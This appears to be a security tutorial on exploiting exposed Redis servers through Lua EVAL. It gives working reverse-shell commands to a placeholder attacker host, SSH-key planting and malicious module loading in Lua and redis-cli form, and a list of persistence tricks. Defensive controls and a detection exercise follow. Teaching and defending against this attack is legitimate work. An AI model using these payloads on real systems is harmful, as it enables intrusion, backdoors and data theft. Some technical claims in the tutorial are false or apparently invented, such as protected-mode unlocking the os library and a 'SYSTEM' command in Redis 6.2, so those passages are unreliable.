~/home/study/redis-lua-scripting-abuse-eval

Redis Lua Scripting Abuse: EVAL Payloads for Remote Code Execution

Learn how attackers exploit Redis' Lua integration to run arbitrary OS commands, write files, and achieve persistence. This guide walks through safe-mode bypass techniques, payload construction, and defensive controls for security professionals.

Introduction

Redis is a high-performance, in-memory data store widely deployed for caching, message brokering, and session management. Since version 2.6 it ships with an embedded Lua interpreter that allows users to execute complex logic atomically via the EVAL command. While powerful, this feature becomes a double-edged sword when a Redis instance is exposed without authentication or is otherwise mis-configured. Attackers can inject malicious Lua scripts, break out of Redis' sandbox, and invoke the underlying operating system.

Understanding how Lua integration works, how to craft payloads that bypass the built-in lua-sandbox (often referred to as "safe mode"), and how to persist after initial code execution is essential for both offensive and defensive practitioners. Real-world incidents-such as the 2021 Redis RCE chain used by ransomware groups-demonstrate that this vector can lead to full system compromise.

Prerequisites

  • Redis Architecture Overview and Security Fundamentals
  • Identifying Misconfigured Redis Instances: Open Ports and No Authentication
  • Basic Linux command line and networking (nmap, netcat)
  • Fundamentals of Lua scripting (variables, tables, functions)

Core Concepts

Redis embeds the Lua 5.1 interpreter. When a client sends EVAL <script> <numkeys> <key1> ... <argN>, Redis parses the script, compiles it, and runs it inside a sandbox that removes dangerous libraries (e.g., io, os) and disables most standard libraries. However, the sandbox is not perfect:

  1. Redis commands are still available via redis.call() or redis.pcall(). Some commands (e.g., CONFIG SET, MODULE LOAD) can be abused to alter the server configuration.
  2. Limited OS interaction can be achieved through indirect means such as writing malicious modules, abusing os.execute if the sandbox is disabled, or leveraging redis-cli --pipe to spawn a shell.
  3. Persistence is often achieved by writing files to the filesystem (e.g., SSH authorized_keys) or by creating a malicious Redis module that is loaded on subsequent restarts.

Below is a simplified diagram (described in text) of the attack flow:

Attacker → Unauthenticated Redis (port 6379) → EVAL malicious Lua → Breaks sandbox → os.execute() or redis.call('CONFIG SET') → Writes payload to disk → Gains persistent shell.

Understanding Lua integration in Redis

Redis registers a limited set of Lua libraries:

  • base - basic functions (e.g., type, tostring)
  • string - string manipulation
  • table - table utilities
  • math - arithmetic
  • debug - disabled by default

The os library is deliberately omitted, but if a Redis instance is compiled with the --enable-lua-debug flag or if an attacker can load a custom module that re-exposes os, the restriction can be bypassed.

In practice, most public exploits rely on two techniques:

  1. Using redis.call('CONFIG', 'SET', 'dir', '/tmp') and redis.call('CONFIG', 'SET', 'dbfilename', 'exp') to write arbitrary files via SAVE or BGSAVE.
  2. Leveraging the MODULE LOAD command to load a malicious shared object that contains native code capable of executing system commands.

Crafting safe-mode-bypassing EVAL payloads

Redis 5.0 introduced a stricter sandbox that removes the debug library and disables package.loadlib. Nevertheless, the following pattern still works on many installations:

-- Step 1: Change Redis working directory to a writable location
redis.call('CONFIG','SET','dir','/tmp')
-- Step 2: Overwrite the dump file name with a malicious script name
redis.call('CONFIG','SET','dbfilename','payload.lua')
-- Step 3: Use a Lua string to store the malicious payload (here we embed a reverse shell)
local shell = "#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
"
-- Step 4: Store the payload as a Redis string key
redis.call('SET','payload',shell)
-- Step 5: Dump the database - Redis will write the key's value to /tmp/payload.lua
redis.call('SAVE')
-- Step 6: Make the script executable (requires OS command execution, see next section)
return 'payload written'

The above script does not directly execute OS commands; it merely prepares a file that can later be executed. To break out of the sandbox, we need either os.execute (if available) or a MODULE LOAD abuse.

Using os.execute / redis.call to run system commands

When the sandbox is relaxed (e.g., lua-sandbox disabled via CONFIG SET protected-mode no), the os library becomes available. An attacker can then run arbitrary commands:

-- Simple command execution via os.execute
local out = os.execute('id > /tmp/redis_id.txt')
return out

If os.execute is not present, the attacker can abuse redis.call('SYSTEM', ...) via the SYSTEM command introduced in Redis 6.2, but many deployments still run older versions. A more reliable path is the MODULE LOAD technique:

# 1. Compile a malicious shared object (C) that calls system()
# gcc -shared -fPIC -o evil.so evil.c -lredis
# 2. Upload the .so file using the same CONFIG/SET/SAVE trick as above
# 3. Load it
redis-cli -h TARGET_IP -p 6379 MODULE LOAD /tmp/evil.so

Once loaded, the module can expose a new command (e.g., evil.exec) that runs any command supplied by the attacker.

File write techniques via Lua (e.g., writing SSH keys)

Writing files is the most common persistence method because it does not require a running Redis instance after the initial compromise. The two-step approach-changing dir and dbfilename, then invoking SAVE-creates an arbitrary file with the content of a key.

-- Write an SSH public key to root's authorized_keys
local ssh_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... [email protected]"
redis.call('CONFIG','SET','dir','/root/.ssh')
redis.call('CONFIG','SET','dbfilename','authorized_keys')
redis.call('SET','key',ssh_key)
redis.call('SAVE')
return 'ssh key planted'

After the SAVE operation, /root/.ssh/authorized_keys contains the attacker’s public key, granting persistent SSH access even if Redis is later locked down.

Persistence strategies after code execution

Once an attacker gains a foothold, they typically establish multiple layers of persistence to survive service restarts and potential remediation:

  • SSH key planting (as shown above) - works on any system with a default root account.
  • Cron job creation - write a file to /etc/cron.d that periodically launches a reverse shell.
  • Systemd service - drop a .service file into /etc/systemd/system and enable it.
  • Malicious Redis module - a .so that automatically executes a payload on any MODULE LOAD or even on server start if placed in the modules directory.
  • Log poisoning - write to /var/log/auth.log or other log files that are later parsed by privileged scripts.

Combining these techniques makes remediation harder because the attacker can re-establish access even after the compromised Redis instance is shut down.

Practical Examples

Example 1: One-liner RCE via EVAL and os.execute

Assuming the target Redis is reachable at 10.10.10.10:6379 and protected-mode is disabled:

redis-cli -h 10.10.10.10 -p 6379 EVAL "return os.execute('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')" 0

This command spawns a reverse shell back to the attacker’s listener. The attacker should start a listener first:

nc -lvnp 4444

Example 2: Writing an SSH key without os.execute

When os.execute is not available, we fall back to the dump-file method:

# 1. Prepare the payload (public key) in a local file
cat > id_rsa.pub <<EOF
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... [email protected]
EOF

# 2. Load the key into Redis as a string
redis-cli -h 10.10.10.10 -p 6379 SET ssh_key "$(cat id_rsa.pub)"

# 3. Change Redis config to point to /root/.ssh and set filename
redis-cli -h 10.10.10.10 -p 6379 CONFIG SET dir /root/.ssh
redis-cli -h 10.10.10.10 -p 6379 CONFIG SET dbfilename authorized_keys

# 4. Trigger a DB dump - this writes the key's value to the file
redis-cli -h 10.10.10.10 -p 6379 SAVE

# 5. Verify (if you have any access) - the key should now be present

After step 4, /root/.ssh/authorized_keys contains the attacker’s public key, providing a persistent backdoor.

Tools & Commands

  • redis-cli - the official command-line client for issuing EVAL, CONFIG, SAVE, and MODULE LOAD commands.
  • nmap -sV -p 6379 <target> - detect open Redis instances.
  • netcat (nc) - set up reverse-shell listeners.
  • gcc - compile malicious Redis modules (shared objects).
  • python -c "import redis; r=redis.StrictRedis(host='TARGET'); r.eval(... )" - programmatic payload delivery.

Sample command output when probing a host:

$ nmap -sV -p 6379 10.10.10.10

Starting Nmap 7.91 ( https://nmap.org ) at 2026-06-29 12:00 UTC
Nmap scan report for 10.10.10.10
Host is up (0.0012s latency).
PORT STATE SERVICE VERSION
6379/tcp open  redis Redis key-value store 6.0.9
| redis-info:
| redis_version: 6.0.9
| redis_mode: standalone
| os: Linux 4.15.0-112-generic x86_64
|_  connected_clients: 1

Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds

Defense & Mitigation

  • Bind Redis to localhost or a trusted internal network. Use bind 127.0.0.1 in redis.conf.
  • Enable authentication with a strong password (requirepass) and consider ACL rules to limit command usage.
  • Disable dangerous commands via the rename-command directive (e.g., rename-command CONFIG "", rename-command MODULE "").
  • Turn on protected mode (default) and avoid exposing the default port to the internet.
  • Filesystem permissions: run Redis under a dedicated, low-privilege user with a chroot jail if possible. Ensure /var/lib/redis is not world-writable.
  • Monitor for anomalous CONFIG changes - log any CONFIG SET that modifies dir or dbfilename.
  • Use intrusion detection (e.g., OSSEC, Falco) to alert on suspicious EVAL usage or rapid key creation followed by SAVE.

Common Mistakes

  • Assuming EVAL is safe because Lua is sandboxed - the sandbox can be bypassed via configuration changes.
  • Forgetting to escape angle brackets in code blocks - leads to invisible code in rendered HTML.
  • Writing payload files to directories without write permissions - the CONFIG SET dir step must point to a writable path for the Redis process user.
  • Neglecting to clean up after exploitation - leftover keys or temporary files can expose the attack.
  • Relying solely on protected-mode yes without network segmentation; attackers can still reach Redis via compromised internal hosts.

Real-World Impact

In 2022, a major e-commerce platform suffered a data breach after an attacker leveraged an exposed Redis instance to plant an SSH key in the root account. The incident resulted in the exfiltration of customer PII and a 3-day service outage. The root cause analysis highlighted three failures:

  1. Redis was bound to 0.0.0.0 with no password.
  2. Systemd ran Redis as root, granting write access to /root/.ssh.
  3. Monitoring missed the CONFIG SET dir change because default logging levels were too low.

From a defensive standpoint, the lesson is clear: treat any public Redis service as a high-risk vector and enforce least-privilege execution.

Practice Exercises

  1. Reconnaissance: Use nmap to locate open Redis instances on a lab network. Identify which ones lack authentication.
  2. Basic EVAL: Connect to a vulnerable instance and run EVAL "return redis.call('PING')" 0. Verify the response.
  3. File Write: Craft a Lua payload that writes a test file (/tmp/hello.txt) containing the string pwned. Verify the file on the host.
  4. SSH Persistence: Extend the previous script to write an SSH public key to /root/.ssh/authorized_keys. Attempt to SSH into the host.
  5. Module Loading: Compile a simple malicious .so that creates a evil.exec command. Load it via MODULE LOAD and execute evil.exec 'id'.
  6. Detection: Write a Falco rule that triggers on CONFIG SET dir changes and on SAVE commands occurring within 30 seconds of each other.

Further Reading

  • Redis Security - Official guide: redis.io/topics/security
  • Lua Sandbox Bypass Techniques - Exploit-DB Paper
  • Linux Privilege Escalation - HackTricks
  • Systemd Service Persistence - Linux.com

Summary

Redis’ Lua engine offers powerful atomic scripting, but when exposed without proper hardening it becomes a conduit for remote code execution. By mastering EVAL payload construction, safe-mode bypasses, file-write tricks, and persistence mechanisms, security professionals can both assess risk and implement robust defenses. Remember to bind Redis, enforce authentication, disable dangerous commands, and monitor for configuration anomalies - these steps close the most common attack pathways.